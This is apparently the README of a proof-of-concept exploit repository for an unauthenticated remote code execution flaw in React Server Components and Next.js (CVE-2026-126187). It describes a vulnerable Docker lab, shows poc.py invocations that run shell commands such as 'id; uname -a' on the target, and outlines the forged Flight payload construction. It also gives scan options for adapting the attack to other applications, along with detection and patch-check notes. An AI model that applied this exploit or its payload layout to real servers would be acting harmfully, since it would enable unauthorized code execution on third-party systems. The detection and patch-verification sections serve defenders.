
CVE-2026-126187 Unauthenticated RCE in React Server Components - PoC and Docker lab for GHSA-xqc2-xf4c-x3h3 / GHSA-673q-mjm6-r5xr
Research exploit code. This repository contains a working proof of concept and an intentionally vulnerable Docker lab. Use it only against systems you own or have explicit written permission to test.
A minimal Python PoC and Docker lab for the unauthenticated remote code execution in React Server Components tracked as GHSA-xqc2-xf4c-x3h3 (React) and GHSA-673q-mjm6-r5xr (Next.js).
| Severity | Critical — CVSS v4 9.5 |
| Attack vector | Network, unauthenticated, no user interaction |
| React packages | react-server-dom-webpack, -parcel, -turbopack |
| Affected React | 19.0.0–19.0.8, 19.1.0–19.1.9, 19.2.0–19.2.8, 19.3.0 |
| Fixed React | 19.0.9, 19.1.10, 19.2.9, 19.3.1 |
| Affected Next.js | >= 16.0.0, <= 16.4.0 (App Router + Cache Components) |
| Fixed Next.js | 16.4.1 |
| CVE | CVE-2026-126187 |
| Prerequisite | A use cache function that returns multiple typed arrays plus an attacker-controlled value |
The React advisory describes the trigger as “extremely rare cases where responses transport multiple typed arrays and an attacker-controlled value.” The PoC reproduces exactly that layout.
The Flight serializer handles multiple typed-array views over one shared
ArrayBuffer. On the vulnerable versions:
The vulnerability is in the RSC serializer/deserializer, not in a custom API
route. The PoC does not need a multipart POST or a Next-Action header.
| Path | Purpose |
|---|---|
poc.py | Dependency-free Python 3.8+ PoC: action discovery, payload construction, request, result parsing |
lab/ | Next.js 16.4.0 + React 19.3.0 Docker lab that triggers the desync |
compose.yaml | Optional Compose setup for the vulnerable and patched labs |
Makefile | Shortcuts for building, running, and checking the PoC |
Build and run the vulnerable lab:
docker build -t ghsa-xqc2-lab ./lab
docker run --rm -p 127.0.0.1:3100:3100 ghsa-xqc2-lab
In another terminal:
python3 poc.py http://127.0.0.1:3100 --cmd 'id; uname -a'
Expected:
[*] action id: <hex>
[*] blob: <n> bytes, forged rows at offset 8184, args=['id; uname -a']
[*] HTTP 200
[+] Server Action executed with attacker-chosen arguments
================ action output ================
uid=...
...
==============================================
The lab action runs its argument through /bin/sh, so --cmd is the command
you want to prove. Against a real application, --cmd must be whatever that
application's Server Action expects; the PoC reaches the action, and the action
decides what the argument means.
The lab also exposes GET /api/payload as a desync check:
500 {"ok":false,"error":"Connection closed."}200 with both 8 KB blocks intactdocker compose up --build lab # vulnerable on 127.0.0.1:3100
docker compose --profile patched up --build lab-patched # patched on 127.0.0.1:3101
Build the same lab with the fixed Next.js version:
docker build --build-arg NEXT_VERSION=16.4.1 -t ghsa-xqc2-lab-patched ./lab
docker run --rm -p 127.0.0.1:3101:3100 ghsa-xqc2-lab-patched
Then:
python3 poc.py http://127.0.0.1:3101 --cmd id
# [-] blob stayed opaque (Uint8Array(...)); target appears patched
Tested locally: [email protected] + [email protected] returns the action output;
[email protected] leaves the blob opaque and no action runs.
python3 poc.py <url> [options]
| Option | Description |
|---|---|
--cmd <string> | Argument passed to the target Server Action (default: id) |
--args-json <json> | JSON array of action arguments; overrides --cmd |
--action-id <hex> | Explicit Server Action id; skips discovery |
--path <path> | Page whose cached lookup accepts ?annotation= (default: /) |
--chunk-id <id> | Flight chunk id of the caller-influenced value (default: 4, lab layout) |
--overread <n> | Bytes consumed after the dropped view (default: 8192, lab layout) |
--scan | Try common chunk ids and overread sizes |
--chunk-ids <list> | Chunk ids for --scan (default: 1-8) |
--overreads <list> | Overread sizes for --scan |
--timeout <sec> | Network timeout (default: 30) |
--insecure | Do not verify TLS certificates |
$ACTION_ID_… or createServerReference(..., "<hex>").annotation with bytes placed at
overread - len("<chunk>:o<hexlen>,"), using a fixed-point loop because the
header length changes the resume offset. The defaults (4, 8192) match
the lab; use --chunk-id and --overread for a different cached layout.6:["<cmd>"], 5:{"id":"<action>","bound":"$@6"},
4:{"then":"$h5"}. The cached value becomes a thenable whose then is the
real Server Action.GET /?annotation=<base64> and read the action output from the
rendered <pre> summary.CVE-2026-126187 does not affect every Next.js app. The application must have a
use cache function that returns multiple typed arrays in a way that triggers
the serializer desync, and the cached page must be able to resolve a Server
Action.
--scan tries chunk ids 1-8 and common view sizes; add unusual sizes with
--overreads.--args-json.Request logs: an unusually long base64 annotation query parameter on a page
request.
The response body contains a <pre> block with serialized Server Action
output.
HTML or client chunks expose $ACTION_ID_… or
createServerReference(..., "<hex>").
Check installed RSC builds for the fix marker:
grep -c getBackingBlob \
node_modules/next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.production.js
# 0 = vulnerable; > 0 = fixed
use cache functions that
return multiple typed arrays alongside attacker-controlled values, and audit
Server Action authorization.